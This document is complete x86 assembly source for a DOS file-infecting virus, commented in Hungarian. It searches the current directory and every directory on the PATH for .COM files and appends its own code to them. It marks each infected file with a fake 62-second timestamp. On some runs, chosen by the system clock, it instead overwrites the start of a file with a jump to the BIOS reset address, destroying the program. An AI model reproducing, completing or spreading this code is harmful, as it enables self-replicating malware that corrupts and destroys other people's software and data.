PAGE ,132
VIRUS	SEGMENT PARA PUBLIC 'CODE'
	ASSUME CS:VIRUS,DS:VIRUS
	
HOSSZ	EQU VEG-KEZDET
KEZDET	EQU $

INDIT:	PUSH CX
TBLC:	MOV DX,OFFSET TABL
	CLD			;  SZTRINGMUVELETEK NOVEKVO IRANYBA
	MOV SI,DX		;  SI TARTALMAZZA A TABLAZAT KEZDOCIMET
	ADD SI,OFFSET FILKEZ-TABL
	MOV DI,100H		;  AZ ELSO HAROM BYTE VISSZAALLITASA
	MOV CX,3
	REPZ MOVSB
	MOV SI,DX		;  SI-BE ISMET A TABLAZAT KEZDOCIME
	MOV AH,30H		;  A DOS VERZIOSZAM LEKERDEZESE
	INT 21H
	CMP AL,0		;  MEG AZ 1.X VERZIO?
	JNZ IND1		;  NEM
	JMP IND2		;  IGEN, A VIRUS NEM TUD TERJEDNI
IND1:	PUSH ES			;  ES ELMENTESE
	MOV AH,2FH		;  A DTA CIMENEK LEKERDEZESE
	INT 21H			;  ES ELTAROLASA A TABLAZATBAN
	MOV WORD PTR [SI+DTACIM-TABL],BX
	MOV WORD PTR [SI+DTACIM-TABL+2],ES
	POP ES			;  ES VISSZAOLVASASA
	MOV DX,UJDTA-TABL
	ADD DX,SI		;  A DTA UJ CIMENEK BEALLITASA
	MOV AH,1AH
	INT 21H
	PUSH ES			;  REGISZTEREK ELMENTESE
	PUSH SI
	MOV ES,DS:2CH		;  A DOS KORNYEZET CIME
	MOV DI,0		;  ELEJETOL
IND3:	POP SI			;  SI VISSZAOLVASASA
	PUSH SI			;  ES VISSZAIRASA
	ADD SI,OFFSET SZOVEG-TABL
	LODSB			;  EGY KARAKTER BETOLTESE
	MOV CX,8000H		;  A KORNYEZET MAX. 32K
	REPNZ SCASB		;  AZ ELSO KARAKTER KERESESE
	MOV CX,OFFSET FSPEC-SZOVEG-1
IND4:	LODSB			;  A KOVETKEZO KARAKTER BEOLVASASA
	SCASB			;  ES ELLENORZESE
	JNZ IND3		;  NEM EGYEZIK
	LOOP IND4		;  FOLYTATNI
	POP SI			;  A REGISZTEREK VISSZAALLITASA
	POP ES
	MOV [SI+UTCIM-TABL],DI
	MOV DI,SI		;  DI-BE A TABLAZAT KEZDOCIME
	ADD DI,OFFSET FSPEC-TABL
	MOV BX,SI		;  SI ELMENTESE BX-BE
	ADD SI,OFFSET FSPEC-TABL
	MOV DI,SI
	JMP SHORT IND5		;  KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
INDE:	CMP WORD PTR [SI+UTCIM-TABL],0
	JNZ IND6		;  VAN MEG TOBB UT
	JMP IND7		;  MINDEN LEHETSEGES FILE FERTOZOTT
IND6:	PUSH DS			;  A REGISZTEREK ELMENTESE
	PUSH SI
	MOV DS,ES:2CH		;  DS-BE A DOS KORNYEZET SZEGMENSE
	MOV DI,SI		;  DI A TABLAZATRA MUTAT
	MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
	ADD DI,OFFSET FSPEC-TABL
IND8:	LODSB			;  EGY KARAKTER BETOLTESE
	CMP AL,3BH		;  ';' AZ UTAKAT VALASZTJA EL
	JZ IND9			;  ANNAK A KODJA
	CMP AL,0		;  A LEZARO NULLA?
	JZ INDA			;  AZ A KOD
	STOSB			;  ELTAROLAS
	JMP SHORT IND8		;  FOLYTATNI
INDA:	MOV SI,0		;  TOBB UT NEM LETEZIK
IND9:	POP BX			;  BX A TABLAZAT KEZDOCIME
	POP DS			;  DS VISSZAALLITASA
	MOV [BX+UTCIM-TABL],SI
	CMP BYTE PTR [DI-1],5CH	;  A FILE SPECIFIKACIO '\' LETT LEZARVA?
	JZ IND5			;  IGEN
	MOV AL,5CH		;  A '\' KODJA
	STOSB			;  ELTAROLASA
IND5:	MOV [BX+FAKT-TABL],DI
	MOV SI,BX		;  A TABLAZAT KEZDOCIME BX
	ADD SI,OFFSET FKER-TABL	;  KERESO NEV
	MOV CX,OFFSET UTCIM-FKER
	REPZ MOVSB		;  ATMASOLASA A FILE SPECIFIKACIOBA
	MOV SI,BX		;  SI A TABLAZAT KEZDOCIME
	MOV AH,4EH		;  FILE KERESESE
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	MOV CX,11B		;  A KERESETT ATTRIBUTUM
	INT 21H
	JMP SHORT INDC		;  A KOVETKEZO RESZT ATUGRANI
INDF:	MOV AH,4FH		;  A KOVETKEZO FILENEV KERESESE
	INT 21H
INDC:	JNC INDD		;  MEGTALALTUK
	JMP INDE		;  NINCS ITT TOBB HASONLO
INDD:	MOV AX,[SI+UJDTA-TABL+22]
	AND AL,11111B		;  A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
	CMP AL,11111B		;  62 MASODPERC? /FERTOZEST EZZEL JELZI/
	JZ INDF			;  IGEN, TOVABB KELL KERESNI
	CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
	JA INDF			;  TUL NAGY FILE, NEM FERTOZHETO
	CMP WORD PTR [SI+UJDTA-TABL+26],0AH
	JB INDF			;  TUL KICSI FILE
	MOV DI,[SI+FAKT-TABL]
	PUSH SI			;  A TABLAZAT KEZDOCIMENEK ELMENTESE
	ADD SI,OFFSET UJDTA-TABL+30
INDG:	LODSB			;  A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
	STOSB
	CMP AL,0		;  A NEV ZARO NULLA?
	JNZ INDG		;  NEM, FOLYTATNI
	POP SI			;  A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
	MOV AX,4300H		;  A FILE ATTRIBUTUM BEOLVASASA
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	MOV [SI+FILATT-TABL],CX
	MOV AX,4301H		;  A FILE ATTRIBUTUM BEALLITASA
	DB 81H,0E1H,0FEH,0FFH	;  AZ R/O BIT TORLESE
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	MOV AX,3D02H		;  A FILE MEGNYITASA IRASRA & OLVASASRA
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
	JNC INDH		;  NINCS HIBA
	JMP INDK		;  HIBA TORTENT
INDH:	MOV BX,AX		;  A FILESZAM ATVITELE
	MOV AX,5700H		;  A KELETKEZESI IDO BEOLVASASA
	INT 21H			;  ES BEALLITASA
	MOV [SI+FILIDO-TABL],CX
	MOV [SI+FILDAT-TABL],DX
	MOV AH,2CH		;  A RENDSZERIDO BEOLVASASA
	INT 21H
	AND DH,111B		;  A MASODPERCEK OSZTHATOK NYOLCCAL?
	JNZ INDI		;  NEM, A FILE-T CSAK MEGFEROZZUK
	MOV AH,40H		;  EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
	MOV CX,5		;  A JMP FAR F000:FFF0 5 BYTE HOSSZU
	MOV DX,SI		;  DX A TABLAZAT KEZDETERE MUTAT
	ADD DX,OFFSET RESET-TABL
	INT 21H			;  A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
	JMP INDJ		;  ENNEK MAR BEVEGEZTETETT
INDI:	MOV AH,3FH		;  OLVASAS A FILEBOL
	MOV CX,3		;  AZ ELSO HAROM BYTE
	MOV DX,FILKEZ-TABL	;  A MEGFELELO CIMRE
	ADD DX,SI
	INT 21H			;  BEOLVASNI
	JC INDJ			;  HIBA TORTENT
	CMP AX,3		;  MIND A HAROM BYTEOT BEOLVASTA?
	JNZ INDJ		;  NEM, HIBA VOLT
	MOV AX,4202H		;  MUTATO A FILE VEGERE
	MOV CX,0
	MOV DX,0
	INT 21H
	JC INDJ			;  TORTENT HIBA?
	MOV CX,AX		;  A FILE HOSSZA
	SUB AX,3		;  MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
	MOV [SI+UJKEZ-TABL+1],AX
	ADD CX,OFFSET TABL+100H	;  A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
	MOV DI,SI		;  A TABLAZAT KEZDETE
	SUB DI,OFFSET TABL-TBLC-1
	MOV [DI],CX		;  A MOV DX,  UTASITAS PARAMETERE
	MOV AH,40H		;  KIIRAS A FILE-BA
	MOV CX,OFFSET HOSSZ		;  A VIRUS HOSSZA
	MOV DX,SI		;  A TABLAZAT KEZDOCIME
	SUB DX,OFFSET TABL	;  MINUSZ A VIRUSTORZS HOSSZA
	INT 21H			;  KIIRAS
	JC INDJ			;  HIBA TORTENT
	CMP AX,OFFSET HOSSZ	;  MINDEN BYTEOT KIIRT?
	JNZ INDJ		;  NEM
	MOV AX,4200H		;  MUTATO A FILE ELEJERE
	MOV CX,0
	MOV DX,0
	INT 21H
	JC INDJ			;  HIBA TORTENT?
	MOV AH,40H		;  KIIRAS A FILE-BA
	MOV CX,3		;  AZ ELSO 3 BYTE KIIRASA
	MOV DX,SI
	ADD DX,OFFSET UJKEZ-TABL
	INT 21H			;  KIIRAS
INDJ:	MOV DX,[SI+FILDAT-TABL]
	MOV CX,[SI+FILIDO-TABL]
	DB 81H,0E1H,0E0H,0FFH	;  AND CX,0FFE0H
	OR CX,OFFSET 11111B	;  AZ IDO 62 MASODPERC
	MOV AX,5701H		;  A KELETKEZESI DATUM ES IDO VISSZAIRASA
	INT 21H			;  ES A FERTOZES JELZESE
	MOV AH,3EH		;  FILE LEZARASA
	INT 21H
INDK:	MOV AX,4301H		;  A REGI ATTRIBUTUM VISSZAALLITASA
	MOV CX,[SI+FILATT-TABL]
	MOV DX,FSPEC-TABL
	ADD DX,SI		;  A FILE SPECIFIKACIO CIME
	INT 21H
IND7:	PUSH DS			;  DS ELMENTESE
	MOV AH,1AH		;  A DTA REGI CIMENEK BEALLITASA
	MOV DX,WORD PTR [SI+DTACIM-TABL]
	MOV DS,WORD PTR [SI+DTACIM-TABL+2]
	INT 21H
	POP DS			;  DS VISSZAALLITASA
IND2:	POP CX
	XOR AX,AX		;  AX=0
	XOR BX,BX		;  BX=0
	XOR DX,DX		;  DX=0
	XOR SI,SI		;  SI=0
	MOV DI,100H		;  100H A VEREMBE
	PUSH DI
	XOR DI,DI		;  DI=0
	RET 0FFFFH

TABL	EQU $
	
DTACIM	DD 0
FILIDO	DW 0
FILDAT	DW 0
FILATT	DW 0
FILKEZ	DB 0,0,0
UJKEZ	DB 0,0,0
FKER	DB '*.COM',0
UTCIM	DW 0
FAKT	DW 0
SZOVEG	DB 'PATH='
FSPEC	DB 40H DUP(' ')
UJDTA	DB 2BH DUP(0)
RESET	DB 0EAH,0F0H,0FFH,0,0F0H

VEG	EQU $

VIRUS	ENDS

	END